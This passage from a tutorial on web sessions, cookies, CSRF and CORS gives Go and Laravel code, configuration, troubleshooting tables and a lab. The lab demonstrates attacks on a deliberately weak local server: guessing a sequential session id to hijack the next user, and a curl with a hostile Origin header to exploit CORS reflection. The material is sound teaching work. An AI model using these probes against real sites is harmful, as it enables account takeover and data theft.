for _, k := range c.Keys {
gcm, err := newGCM(k)
if err != nil || len(blob) < gcm.NonceSize() {
continue
}
p, err := gcm.Open(nil, blob[:gcm.NonceSize()], blob[gcm.NonceSize():], []byte(name))
if err == nil {
plain = p
break
}
}
case !c.Seal && strings.HasPrefix(value, "s1."):
parts := strings.Split(value, ".")
if len(parts) != 3 {
return ErrInvalid
}
sig, err := b64.DecodeString(parts[2])
if err != nil {
return ErrInvalid
}
for _, k := range c.Keys {
if subtle.ConstantTimeCompare(sig, mac(k, name, parts[1])) == 1 {
plain, _ = b64.DecodeString(parts[1])
break
}
}
}
if plain == nil {
return ErrInvalid
}
var env envelope
if err := json.Unmarshal(plain, &env); err != nil {
return ErrInvalid
}
if c.now().Unix() >= env.Exp {
return ErrExpired
}
return json.Unmarshal(env.Val, v)
}
func newGCM(key []byte) (cipher.AEAD, error) {
if len(key) < 32 {
return nil, errors.New("short key")
}
blk, err := aes.NewCipher(key[:32])
if err != nil {
return nil, err
}
return cipher.NewGCM(blk)
}The CSRF protector (origin check and a signed double submit bound to the session id):
// Package csrf implements a signed double-submit cookie bound to the session id, preceded
// by an Origin / Sec-Fetch-Site check. It is the stateless alternative to a synchronizer
// token kept in the session record.
package csrf
import (
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"net/http"
"net/url"
"strings"
)
const (
CookieName = "__Host-csrf"
HeaderName = "X-CSRF-Token"
)
// Protector issues and verifies tokens. SessionID extracts the (raw) session id of the
// request; an empty string means "anonymous" and the token is bound to a pre-session value.
type Protector struct {
Key []byte
SessionID func(*http.Request) string
TrustedOrigins []string // exact origins such as https://app.example.com
Insecure bool // tests over http only
}
var b64 = base64.RawURLEncoding
func (p *Protector) sign(sid, nonce string) string {
h := hmac.New(sha256.New, p.Key)
h.Write([]byte(sid))
h.Write([]byte{0})
h.Write([]byte(nonce))
return b64.EncodeToString(h.Sum(nil))
}
// Issue returns a new token "nonce.mac" bound to the session id of r and sets the cookie.
func (p *Protector) Issue(w http.ResponseWriter, r *http.Request) string {
n := make([]byte, 18)
_, _ = rand.Read(n)
nonce := b64.EncodeToString(n)
tok := nonce + "." + p.sign(p.SessionID(r), nonce)
http.SetCookie(w, &http.Cookie{
Name: CookieName, Value: tok, Path: "/", Secure: !p.Insecure, SameSite: http.SameSiteLaxMode,
// Not HttpOnly on purpose: the SPA must read it to copy it into the header.
})
return tok
}
func safe(m string) bool {
return m == http.MethodGet || m == http.MethodHead || m == http.MethodOptions || m == http.MethodTrace
}
func (p *Protector) originOK(r *http.Request) bool {
switch r.Header.Get("Sec-Fetch-Site") {
case "same-origin", "none":
return true
case "cross-site", "same-site":
return p.trusted(r.Header.Get("Origin"))
}
// Older browsers: fall back to Origin, then Referer; absent both, the token decides.
if o := r.Header.Get("Origin"); o != "" {
return o != "null" && (p.trusted(o) || sameHost(o, r.Host))
}
if ref := r.Header.Get("Referer"); ref != "" {
u, err := url.Parse(ref)
return err == nil && (p.trusted(u.Scheme+"://"+u.Host) || u.Host == r.Host)
}
return true
}
func sameHost(origin, host string) bool {
u, err := url.Parse(origin)
return err == nil && strings.EqualFold(u.Host, host)
}
func (p *Protector) trusted(o string) bool {
for _, t := range p.TrustedOrigins {
if o == t {
return true
}
}
return false
}
// Middleware rejects unsafe requests with 403 unless origin and token both check out.
func (p *Protector) Middleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if safe(r.Method) {
next.ServeHTTP(w, r)
return
}
if !p.originOK(r) {
http.Error(w, "csrf: origin not allowed", http.StatusForbidden)
return
}
c, err := r.Cookie(CookieName)
h := r.Header.Get(HeaderName)
if err != nil || h == "" || !hmac.Equal([]byte(c.Value), []byte(h)) {
http.Error(w, "csrf: token mismatch", http.StatusForbidden)
return
}
nonce, _, ok := strings.Cut(h, ".")
if !ok || !hmac.Equal([]byte(h), []byte(nonce+"."+p.sign(p.SessionID(r), nonce))) {
http.Error(w, "csrf: token not bound to this session", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}The CORS middleware (exact origins, Vary: Origin, no wildcard with credentials):
// Package cors is a small, strict CORS middleware: exact-match origin allow-list, no
// wildcard together with credentials, Vary: Origin always, a bounded preflight cache.
package cors
import (
"errors"
"net/http"
"strconv"
"strings"
)
type Config struct {
AllowedOrigins []string // exact strings such as https://app.example.com; "*" only without credentials
AllowedMethods []string
AllowedHeaders []string
ExposedHeaders []string
AllowCredentials bool
MaxAge int // seconds; browsers cap it (Chromium 7200, Firefox 86400)
}
type Middleware struct {
cfg Config
allowAll bool
set map[string]struct{}
}
func New(cfg Config) (*Middleware, error) {
m := &Middleware{cfg: cfg, set: map[string]struct{}{}}
for _, o := range cfg.AllowedOrigins {
if o == "*" {
m.allowAll = true
continue
}
m.set[o] = struct{}{}
}
if m.allowAll && cfg.AllowCredentials {
return nil, errors.New("cors: wildcard origin cannot be combined with credentials")
}
return m, nil
}
func (m *Middleware) allowed(origin string) bool {
if origin == "" || origin == "null" {
return false // "null" is sent by sandboxed iframes and file://: never allow-list it
}
if m.allowAll {
return true
}
_, ok := m.set[origin]
return ok
}
func (m *Middleware) Handler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Add("Vary", "Origin") // the answer depends on Origin even when we send no CORS header
origin := r.Header.Get("Origin")
if origin == "" {
next.ServeHTTP(w, r) // same-origin or non-browser client
return
}
preflight := r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != ""
if preflight {
h.Add("Vary", "Access-Control-Request-Method")
h.Add("Vary", "Access-Control-Request-Headers")
}
if !m.allowed(origin) {
if preflight {
w.WriteHeader(http.StatusForbidden)
return
}
next.ServeHTTP(w, r) // served, but the browser will not hand the body to the page
return
}
if m.allowAll {
h.Set("Access-Control-Allow-Origin", "*")
} else {
h.Set("Access-Control-Allow-Origin", origin)
}
if m.cfg.AllowCredentials {
h.Set("Access-Control-Allow-Credentials", "true")
}
if preflight {
if !contains(m.cfg.AllowedMethods, r.Header.Get("Access-Control-Request-Method")) {
w.WriteHeader(http.StatusForbidden)
return
}
h.Set("Access-Control-Allow-Methods", strings.Join(m.cfg.AllowedMethods, ", "))
if reqH := r.Header.Get("Access-Control-Request-Headers"); reqH != "" {
for _, name := range strings.Split(reqH, ",") {
if !contains(m.cfg.AllowedHeaders, strings.TrimSpace(name)) {
w.WriteHeader(http.StatusForbidden)
return
}
}
h.Set("Access-Control-Allow-Headers", strings.Join(m.cfg.AllowedHeaders, ", "))
}
if m.cfg.MaxAge > 0 {
h.Set("Access-Control-Max-Age", strconv.Itoa(m.cfg.MaxAge))
}
w.WriteHeader(http.StatusNoContent)
return
}
if len(m.cfg.ExposedHeaders) > 0 {
h.Set("Access-Control-Expose-Headers", strings.Join(m.cfg.ExposedHeaders, ", "))
}
next.ServeHTTP(w, r)
})
}
func contains(list []string, v string) bool {
for _, x := range list {
if strings.EqualFold(x, v) {
return true
}
}
return false
}All three wired together, as an API for a SPA:
// Package app wires the session manager, the CSRF protector and the CORS middleware into
// one handler, the way a real API in front of a single-page application would.
package app
import (
"encoding/json"
"net/http"
"academy/web-sessions-cookies-cors/cors"
"academy/web-sessions-cookies-cors/csrf"
"academy/web-sessions-cookies-cors/session"
)
type Options struct {
Store session.Store
CSRFKey []byte
SPAOrigin string // for example https://app.example.com
Insecure bool // tests over http only
CookieName string
CheckSecret func(user, password string) bool
}
func New(o Options) (http.Handler, error) {
mgr := session.NewManager(o.Store, session.Config{CookieName: o.CookieName, Insecure: o.Insecure}, nil)
name := o.CookieName
if name == "" {
name = "__Host-sid"
}
prot := &csrf.Protector{
Key: o.CSRFKey,
TrustedOrigins: []string{o.SPAOrigin},
Insecure: o.Insecure,
SessionID: func(r *http.Request) string {
if c, err := r.Cookie(name); err == nil {
return c.Value
}
return ""
},
}
cm, err := cors.New(cors.Config{
AllowedOrigins: []string{o.SPAOrigin},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", csrf.HeaderName},
AllowCredentials: true,
MaxAge: 600,
})
if err != nil {
return nil, err
}
mux := http.NewServeMux()
// GET /csrf-cookie works before login (anonymous token), like Sanctum's /sanctum/csrf-cookie.
mux.HandleFunc("GET /csrf-cookie", func(w http.ResponseWriter, r *http.Request) {
prot.Issue(w, r)
w.WriteHeader(http.StatusNoContent)
})
mux.HandleFunc("POST /login", func(w http.ResponseWriter, r *http.Request) {
var in struct{ User, Password string }
if json.NewDecoder(http.MaxBytesReader(w, r.Body, 4096)).Decode(&in) != nil || !o.CheckSecret(in.User, in.Password) {
http.Error(w, "invalid credentials", http.StatusUnauthorized)
return
}
id, err := mgr.Login(r.Context(), w, r, in.User) // new id on every login
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
r.AddCookie(&http.Cookie{Name: name, Value: id})
prot.Issue(w, r) // re-issue the CSRF token for the new session id
w.WriteHeader(http.StatusNoContent)
})
mux.HandleFunc("GET /me", func(w http.ResponseWriter, r *http.Request) {
s, _, err := mgr.Get(r.Context(), w, r)
if err != nil {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
_ = json.NewEncoder(w).Encode(map[string]string{"user": s.UserID})
})
mux.HandleFunc("POST /logout-everywhere", func(w http.ResponseWriter, r *http.Request) {
s, _, err := mgr.Get(r.Context(), w, r)
if err != nil {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
n, _ := mgr.LogoutEverywhere(r.Context(), s.UserID)
_ = json.NewEncoder(w).Encode(map[string]int{"revoked": n})
})
// Order matters: CORS answers preflights before CSRF or sessions ever see them.
return cm.Handler(prot.Middleware(mux)), nil
}The Go angle
net/httpgives youhttp.CookiewithSecure,HttpOnly,SameSite,Partitioned,MaxAge; it has no session layer. Frameworks fill it withgorilla/sessions,alexedwards/scsor your ownStore.gorilla/securecookie"encodes and decodes authenticated and optionally encrypted cookie values"; its README advises 32 or 64 byte hash keys and warns that keys fromGenerateRandomKey()are not persisted, so cookies stop decoding after a restart. The codec here is the same idea in about 100 lines of stdlib.- Go 1.25 added
http.CrossOriginProtection(Fetch-Metadata based,AddTrustedOrigin); thecsrfpackage here shows the mechanism and adds the token layer. - Never write the
Originheader back unchecked;cors.Newexposes only exact matches and fails on*with credentials. - The session
Manageris stateless itself: all instances behind a load balancer share the Redis store. - Dependencies force the module's
godirective to 1.26.0 (go-redis and miniredis); the stdlib-only packages (cookiecodec,csrf,cors) compile with older toolchains.
Laravel
Example: session config, Sanctum SPA, CORS config, remember-me, devices
config/session.php: driver, lifetime, encryption, cookie attributes:
<?php
// config/session.php (excerpt): the knobs that matter for security and scale.
return [
// database is the default in Laravel 13; redis for shared, self-expiring storage.
'driver' => env('SESSION_DRIVER', 'redis'),
// Idle timeout in minutes: the store TTL is refreshed on every request.
'lifetime' => (int) env('SESSION_LIFETIME', 30),
// true makes the cookie a browser-session cookie (no Max-Age / Expires).
'expire_on_close' => false,
// Encrypts the payload before it reaches the store.
'encrypt' => true,
// Which Redis connection holds sessions (keep it off the cache connection).
'connection' => env('SESSION_CONNECTION', 'sessions'),
// The cookie. A __Host- prefix requires Secure, Path=/ and no Domain.
'cookie' => env('SESSION_COOKIE', '__Host-app_session'),
'path' => '/',
'domain' => env('SESSION_DOMAIN'), // null = host-only, the safest value
'secure' => env('SESSION_SECURE_COOKIE', true),
'http_only' => true,
'same_site' => 'lax',
'partitioned' => false, // true adds the CHIPS Partitioned attribute (needs Secure)
];config/cors.php (published with php artisan config:publish cors):
<?php
// config/cors.php (publish with: php artisan config:publish cors)
return [
// Only the paths that browsers call cross-origin.
'paths' => ['api/*', 'sanctum/csrf-cookie', 'login', 'logout'],
'allowed_methods' => ['GET', 'POST', 'PUT', 'DELETE'],
// Exact origins. Never '*' together with supports_credentials.
'allowed_origins' => [env('SPA_ORIGIN', 'https://app.example.com')],
'allowed_origins_patterns' => [],
'allowed_headers' => ['Content-Type', 'X-Requested-With', 'X-XSRF-TOKEN', 'Accept'],
'exposed_headers' => ['X-Request-Id'],
// Seconds the browser may cache a preflight (browsers cap this value).
'max_age' => 600,
// Needed for cookie-based SPA auth: sends Access-Control-Allow-Credentials: true.
'supports_credentials' => true,
];bootstrap/app.php: statefulApi() for Sanctum SPA mode and preventRequestForgery:
<?php
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
// bootstrap/app.php (excerpt): Sanctum SPA mode and request-forgery protection.
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
web: __DIR__.'/../routes/web.php',
api: __DIR__.'/../routes/api.php',
)
->withMiddleware(function (Middleware $middleware): void {
// Adds EnsureFrontendRequestsAreStateful to the api group so the SPA uses session cookies.
$middleware->statefulApi();
// Origin check (Sec-Fetch-Site) first, CSRF token as fallback. allowSameSite lets
// app.example.com post to api.example.com; a webhook endpoint is excluded explicitly.
$middleware->preventRequestForgery(
allowSameSite: true,
except: ['webhooks/*'],
);
})
->withExceptions(function (Exceptions $exceptions): void {
//
})->create();Login and logout with id regeneration:
<?php
namespace App\Http\Controllers;
use App\Services\RememberTokens;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cookie;
class LoginController extends Controller
{
public function __construct(private RememberTokens $remember) {}
public function store(Request $request): JsonResponse
{
$credentials = $request->validate([
'email' => ['required', 'email'],
'password' => ['required'],
]);
if (! Auth::attempt($credentials)) {
return response()->json(['message' => 'Invalid credentials'], 422);
}
// New session id on every privilege change: defeats session fixation.
$request->session()->regenerate();
$response = response()->json(['ok' => true]);
if ($request->boolean('remember')) {
// Our own selector/validator cookie instead of the framework's remember_token column.
$response->withCookie($this->remember->issue(
userId: (int) Auth::id(),
userAgent: (string) $request->userAgent(),
));
}
return $response;
}
public function destroy(Request $request): JsonResponse
{
$this->remember->revokeFromCookie($request->cookie(RememberTokens::COOKIE));
Auth::guard('web')->logout();
// Drops the data, regenerates the id and the CSRF token.
$request->session()->invalidate();
$request->session()->regenerateToken();
return response()->json(['ok' => true])->withCookie(Cookie::forget(RememberTokens::COOKIE));
}
}Device list and "log out other devices":
<?php
namespace App\Http\Controllers;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
class DevicesController extends Controller
{
// Device list: works with SESSION_DRIVER=database, where sessions.user_id is filled in.
public function index(Request $request): JsonResponse
{
$current = $request->session()->getId();
$rows = DB::table('sessions')
->where('user_id', $request->user()->getAuthIdentifier())
->orderByDesc('last_activity')
->get(['id', 'ip_address', 'user_agent', 'last_activity']);
return response()->json($rows->map(fn ($r) => [
'current' => $r->id === $current,
'ip' => $r->ip_address,
'agent' => $r->user_agent,
'last_active' => $r->last_activity,
]));
}
// "Log out everywhere else": needs the AuthenticateSession middleware on the route group.
public function destroyOthers(Request $request): JsonResponse
{
$request->validate(['password' => ['required']]);
Auth::logoutOtherDevices($request->string('password')->toString());
return response()->json(['ok' => true]);
}
}Selector/validator remember-me tokens, with the migration:
<?php
namespace App\Services;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Symfony\Component\HttpFoundation\Cookie;
/**
* Remember-me with a selector (lookup) and a validator (secret, stored hashed).
* Cookie value: "<selector>:<validator>". The database holds sha256(validator).
*/
class RememberTokens
{
public const COOKIE = '__Secure-remember';
private const DAYS = 30;
public function issue(int $userId, string $userAgent): Cookie
{
$selector = Str::random(24);
$validator = bin2hex(random_bytes(32));
DB::table('remember_tokens')->insert([
'selector' => $selector,
'validator_hash' => hash('sha256', $validator),
'user_id' => $userId,
'user_agent' => mb_substr($userAgent, 0, 255),
'expires_at' => now()->addDays(self::DAYS),
'created_at' => now(),
]);
return Cookie::create(self::COOKIE)
->withValue($selector.':'.$validator)
->withExpires(now()->addDays(self::DAYS)->toDateTime())
->withPath('/')
->withSecure(true)
->withHttpOnly(true)
->withSameSite(Cookie::SAMESITE_LAX);
}
/** @return array{user_id:int, cookie:Cookie}|null the user and a rotated cookie, or null */
public function consume(?string $cookieValue, string $userAgent): ?array
{
if (! $cookieValue || ! str_contains($cookieValue, ':')) {
return null;
}
[$selector, $validator] = explode(':', $cookieValue, 2);
$row = DB::table('remember_tokens')->where('selector', $selector)->first();
if (! $row || now()->greaterThan($row->expires_at)) {
return null;
}
if (! hash_equals($row->validator_hash, hash('sha256', $validator))) {
// Known selector, wrong validator: the cookie was probably stolen and used
// already. Burn every remember token of that user.
DB::table('remember_tokens')->where('user_id', $row->user_id)->delete();
return null;
}
// One-time use: delete and re-issue, so a stolen cookie works at most once.
DB::table('remember_tokens')->where('selector', $selector)->delete();
return ['user_id' => (int) $row->user_id, 'cookie' => $this->issue((int) $row->user_id, $userAgent)];
}
public function revokeFromCookie(?string $cookieValue): void
{
if ($cookieValue && str_contains($cookieValue, ':')) {
DB::table('remember_tokens')->where('selector', explode(':', $cookieValue, 2)[0])->delete();
}
}
}<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('remember_tokens', function (Blueprint $table): void {
$table->string('selector', 24)->primary();
$table->char('validator_hash', 64);
$table->foreignId('user_id')->constrained()->cascadeOnDelete();
$table->string('user_agent')->nullable();
$table->timestamp('expires_at')->index();
$table->timestamp('created_at');
});
}
public function down(): void
{
Schema::dropIfExists('remember_tokens');
}
};A signed (not encrypted) JSON cookie, the PHP twin of the Go codec:
<?php
namespace App\Services;
/**
* A stateless, signed (not encrypted) cookie value: payload is JSON, never serialize().
* Format: base64url(json).base64url(hmac). Mirrors the Go cookiecodec package.
*/
final class SignedCookie
{
/** @param list<string> $keys the first key signs, all keys verify (rotation) */
public function __construct(private array $keys) {}
public function encode(string $name, array $payload, int $ttlSeconds): string
{
$body = $this->b64(json_encode(['exp' => time() + $ttlSeconds, 'val' => $payload], JSON_THROW_ON_ERROR));
return $body.'.'.$this->b64(hash_hmac('sha256', $name."\0".$body, $this->keys[0], true));
}
public function decode(string $name, string $value): ?array
{
$parts = explode('.', $value);
if (count($parts) !== 2) {
return null;
}
foreach ($this->keys as $key) {
$expected = $this->b64(hash_hmac('sha256', $name."\0".$parts[0], $key, true));
if (hash_equals($expected, $parts[1])) {
$env = json_decode(base64_decode(strtr($parts[0], '-_', '+/')), true);
return is_array($env) && ($env['exp'] ?? 0) > time() ? $env['val'] : null;
}
}
return null;
}
private function b64(string $raw): string
{
return rtrim(strtr(base64_encode($raw), '+/', '-_'), '=');
}
}Feature tests for rotation, forgery and preflight:
<?php
namespace Tests\Feature;
use App\Models\User;
use Tests\TestCase;
class SessionCsrfCorsTest extends TestCase
{
public function test_login_regenerates_the_session_id(): void
{
$user = User::factory()->create(['password' => 'secret-password']);
$this->get('/login');
$before = session()->getId();
$this->post('/login', ['email' => $user->email, 'password' => 'secret-password']);
$this->assertNotSame($before, session()->getId());
}
public function test_cross_site_post_without_token_is_rejected(): void
{
$this->withHeaders(['Sec-Fetch-Site' => 'cross-site'])
->post('/profile', ['email' => 'x@example.com'])
->assertStatus(419);
}
public function test_preflight_allows_only_the_spa_origin(): void
{
$ok = $this->call('OPTIONS', '/api/user', server: [
'HTTP_ORIGIN' => 'https://app.example.com',
'HTTP_ACCESS_CONTROL_REQUEST_METHOD' => 'GET',
]);
$ok->assertHeader('Access-Control-Allow-Origin', 'https://app.example.com');
$ok->assertHeader('Access-Control-Allow-Credentials', 'true');
$bad = $this->call('OPTIONS', '/api/user', server: [
'HTTP_ORIGIN' => 'https://evil.example',
'HTTP_ACCESS_CONTROL_REQUEST_METHOD' => 'GET',
]);
$bad->assertHeaderMissing('Access-Control-Allow-Origin');
}
}The Laravel angle
- Drivers (from the Laravel 13 docs):
file,cookie,database,memcached/redis,dynamodb,array; the docs say "By default, Laravel is configured to use thedatabasesession driver". Redis needs PhpRedis orpredis/predis, andSESSION_CONNECTIONpicks the connection. - The
Sessionfacade and$request->session():get,put,push,flash,reflash,keep,now,regenerate,invalidate; the docs say Laravel regenerates the id during authentication for the starter kits and Fortify, so callregenerate()yourself in custom login code. - Encrypted cookies: every cookie, including the session cookie, is encrypted by the framework. Rotating
APP_KEYlogs everyone out unless you list old keys inAPP_PREVIOUS_KEYS. - CSRF:
PreventRequestForgeryis in thewebgroup; it checksSec-Fetch-Siteand falls back to a token (_tokenfield,X-CSRF-TOKENheader, or the encryptedXSRF-TOKENcookie copied intoX-XSRF-TOKENby Axios).originOnly: truereturns 403 instead of 419. Laravel 11 and 12 called this middlewareVerifyCsrfToken. - Sanctum SPA authentication: configure
statefuldomains, call$middleware->statefulApi(), setwithCredentialsandwithXSRFTokenon Axios, request/sanctum/csrf-cookie, then log in; subsequent calls authenticate through the session cookie. - CORS:
HandleCorsis in the global middleware stack and answersOPTIONS;php artisan config:publish corscreatesconfig/cors.php. Remember that credentialed requests need an exact origin. - Logout of other devices:
Auth::logoutOtherDevices($currentPassword)with theauth.session(AuthenticateSession) middleware; the Redis and database drivers differ in how you list devices (the database driver has auser_idcolumn). - Octane keeps workers alive between requests: never keep user state in static properties; the session is still per request.
Solving the classic problems
Users are logged out at random behind a load balancer
| Cause | Check | Fix |
|---|---|---|
| File driver on several hosts | SESSION_DRIVER=file | Move to Redis or database |
Different APP_KEY per instance | Cookie fails to decrypt on some hosts | One key everywhere; APP_PREVIOUS_KEYS while rotating |
| Redis evicts session keys | INFO stats evicted_keys | Dedicated Redis, noeviction |
| Cookie dropped for size | DevTools shows Set-Cookie ignored | Move state server-side |
Clock skew with Expires | Compare server and client clocks | Use Max-Age |
Login works in curl but not in the browser SPA
| Symptom | Cause | Fix |
|---|---|---|
CORS error on POST /login | Preflight unanswered or origin missing | Add the SPA origin, supports_credentials, allow X-XSRF-TOKEN |
| 419 after login call | No /sanctum/csrf-cookie request first | Call it, enable withXSRFToken |
| Cookie not stored | Secure over HTTP, or SameSite=None without Secure | Use HTTPS locally (or localhost), fix flags |
| Cookie stored but not sent | fetch without credentials: "include" | Add it |
Works on localhost, fails in production | Different registrable domain for SPA and API | Put both under one parent domain or proxy /api |
Session fixation and stolen cookies
| Step | Action |
|---|---|
| Prevent | New id on login, use_strict_mode, cookies only |
| Limit | HttpOnly, Secure, short idle timeout, absolute timeout |
| Detect | Log user agent and IP changes (do not hard-bind: mobile networks roam) |
| Respond | DeleteByUser / logoutOtherDevices, rotate keys |
Logout does not log out
| Cause | Fix |
|---|---|
| Client deleted the cookie but the server record lives on | Delete the record (Delete, invalidate()) |
| Delete cookie with different Path or Domain | Same attributes with Max-Age=0 |
| Stateless token valid until expiry | Short TTL plus a denylist or version counter |
| Remember-me cookie logs the user back in | Revoke the remember token on logout |
400 Request Header Or Cookie Too Large
| Step | Action |
|---|---|
| Find the large cookies | Browser DevTools → Application → Cookies, sort by size |
| Remove duplicates from parent domains | Stop setting Domain=.example.com cookies you do not need |
| Move state server-side | Keep only the id |
| Raise limits last | NGINX large_client_header_buffers, Envoy max_request_headers_kb |
Choosing
| Situation | Recommendation | Extra technique | Reason |
|---|---|---|---|
| Browser web app, one site | Server-side session in Redis, __Host- cookie | Rotate on login, idle + absolute timeout | Instant revocation |
| SPA and API on one parent domain | Laravel Sanctum SPA or Go session + CORS + signed double submit | Exact CORS origin, Vary: Origin | Cookies stay HttpOnly |
| SPA on a different registrable domain | Token in memory + refresh cookie, or same-origin proxy | BFF (backend for frontend) | Cookies become third-party |
| Mobile app, public API | Short-lived access token + refresh token | Revocation list | No cookie jar |
| Service to service | mTLS or signed tokens | Short expiry | No browser involved |
| Tiny non-sensitive prefs | Signed cookie | Versioned JSON | No store |
| Embedded widget | Partitioned cookie | Storage Access API | Third-party cookies blocked |
| Multi-tenant SaaS | Host-only cookies per host, custom domains separate | User content on its own domain | Cookie tossing |
| High-security admin | Strict cookie, 5 minute idle, MFA step-up | Device list, alerts | Limit blast radius |
In architecture: from a single process to a distributed system
Monolith: one process, one database
One Laravel or Go process with file or database sessions: no shared store is needed because there is one instance. The correct minimum is still Secure, HttpOnly, SameSite=Lax, rotation on login, an idle timeout and a CSRF check. Example: a PHP-FPM app with the database driver and a nightly DELETE of expired rows.
Modular monolith: boundaries without the network
Modules share one session through the same middleware, but each module reads only the identity it needs (user id, tenant id) through an interface, never raw session keys. Example: the billing module asks CurrentUser::id(), not session('user'), so replacing the session mechanism later is one change.
Microservices: every arrow is a decision
Browsers talk to one edge (gateway or BFF) that owns the session cookie and the CSRF protection; services behind it receive a short-lived internal token or signed headers, not the cookie. CORS exists only at the edge. Example: app.example.com → gateway validates __Host-sid against Redis → forwards Authorization: Bearer <internal JWT, 60 s> to Orders and Payments; see API Gateway and JWT. Each service validates the token; none reads the session store.
1 browser -> edge POST /orders Cookie: __Host-sid=... X-CSRF-Token
2 edge origin check, CSRF, session lookup in Redis -> user 42, tenant 7
3 edge -> orders POST /orders Authorization: Bearer <60 s internal token: sub=42, tenant=7>
4 orders -> payments same token or a service identity (mTLS)
5 logout everywhere edge deletes sessions; internal tokens die within 60 sDistributed data: replicas, caches, regions
Replica lag and failover apply to the session store: a session written to a Redis primary may be missing on a replica milliseconds later (read-your-writes), and an async failover can drop recent writes. Multi-region: a session store per region with sticky region routing (users stay near their region), or a globally replicated database; "logout everywhere" must reach every region, so propagate revocations through a message (see Messaging) or use short-lived tokens. CDN caches must never cache responses with Set-Cookie or Vary: Cookie without care; always send Vary: Origin on CORS responses (CDN).
Scaling path: 1x, 10x, 100x
| Scale | Design | Why |
|---|---|---|
| 1x (hundreds of users) | One instance, database or file sessions | Simplest; add backups |
| 10x | Redis for sessions, several instances, signed double submit, dedicated connection | Instances become interchangeable |
| 100x | Redis Cluster or sharded stores, a BFF at the edge, short-lived internal tokens, per-region stores, revocation events | Session lookup stays O(1) and local; cross-region revocation is asynchronous |
| Beyond | Mostly stateless access tokens with refresh rotation and a revocation feed | Removes the per-request lookup at the price of revocation delay |
Lab
Steps 1 and 2 run on this machine with the Go toolchain; all other steps are expected output (expected, not run).
- Run the Go tests (real run; they use in-process
miniredis, no Docker):
$ cd docs/snippets/system-design/web-sessions-cookies-cors/go
$ go test -race -count=1 ./...
ok academy/web-sessions-cookies-cors/app
? academy/web-sessions-cookies-cors/before [no test files]
ok academy/web-sessions-cookies-cors/cookiecodec
ok academy/web-sessions-cookies-cors/cors
ok academy/web-sessions-cookies-cors/csrf
ok academy/web-sessions-cookies-cors/session- Real run:
go vet ./...andgofmt -l .print nothing. - Expected, not run: attack the naive server in
before/main.go:curl -i 'http://127.0.0.1:8080/login?user=ana'returnsSet-Cookie: sid=1001; Domain=example.com; Path=/(no flags). Guesssid=1002in a second request: you are the next user. - Expected, not run: CORS reflection.
curl -i -H 'Origin: https://evil.example' http://127.0.0.1:8080/emailreturnsAccess-Control-Allow-Origin: https://evil.exampleandAccess-Control-Allow-Credentials: true; withcors.Newthe same request has noAccess-Control-Allow-Origin, onlyVary: Origin. - Expected, not run: preflight.
curl -i -X OPTIONS -H 'Origin: https://app.example.com' -H 'Access-Control-Request-Method: PUT' -H 'Access-Control-Request-Headers: content-type, x-csrf-token' https://api.example.com/loginreturns204,Access-Control-Max-Age: 600,Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers. - Expected, not run (Laravel):
php artisan test --filter=SessionCsrfCorsTestpasses three tests: id regenerated on login, cross-site POST without token answers 419, preflight echoes onlyhttps://app.example.com. - Expected, not run (Redis): after two logins,
redis-cli SMEMBERS user_sessions:42lists two hashes;TTL sess:<hash>is close to 1800; calling logout everywhere deletes both keys.
Common misconceptions
| Belief | Reality |
|---|---|
| CORS protects the server | It only restricts which pages may read responses in a browser; curl and server-side code ignore it |
| HttpOnly prevents XSS | It stops reading the cookie; the script can still act as the user |
| SameSite makes CSRF tokens unnecessary | Same-site requests (sibling subdomains), old browsers and Lax GET navigations remain; use it as defence in depth |
| A JWT is not a session | It is a client-side session with no revocation unless you add state |
Access-Control-Allow-Origin: * works with cookies | Browsers reject credentialed responses with * |
| The server can read cookie expiry and flags | Only name=value is sent back |
| Signed means encrypted | Signed is readable and tamper-proof; encrypted is unreadable |
Setting Domain is required for the cookie to work | Omitting it is safer (host-only) |
| Session ids must be secret and fancy | They must be unpredictable (at least 64 bits from a CSPRNG) and rotated on login |
| Deleting the cookie logs the user out | Only deleting the server record (or expiry) does |
| Preflights are sent for every request | Only for non-simple requests; results are cached up to Max-Age |
SameSite=None is enough for embedded widgets | Third-party cookie blocking still applies; use Partitioned |
Cheat sheet
| Topic | Remember |
|---|---|
| Session cookie | __Host-sid; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=<absolute> |
| Id | 32 random bytes from a CSPRNG; store sha256(id) |
| Rotation | On login, password change, role change |
| Timeouts | Idle 15 to 30 min (2 to 5 high value); absolute 4 to 8 h |
| Revocation | Server-side delete; stateless needs denylist or version counter |
| Cookie limits | 4096 bytes name+value, at least 50 per domain |
| Prefix | __Host- forbids Domain, needs Secure and Path=/ |
| CSRF | Origin / Sec-Fetch-Site + token; signed double submit bound to the session |
| Laravel 13 | PreventRequestForgery, 419 on mismatch; Sanctum statefulApi() + /sanctum/csrf-cookie |
| CORS credentials | Exact origin, Allow-Credentials: true, Vary: Origin |
| Preflight | OPTIONS without cookies; cache with Max-Age (browser caps apply) |
| Serialization | JSON plus HMAC; never decode native object formats from untrusted input |
| Remember-me | Selector + hashed validator, one-time rotation, revoke on logout |
| Scale | Dedicated Redis, noeviction, per-user index set, short-lived internal tokens behind the edge |
Self-check: questions & answers
- Must-know asked in almost every interview
- Important frequent; expected at senior level
- Good to know extra depth that sets you apart
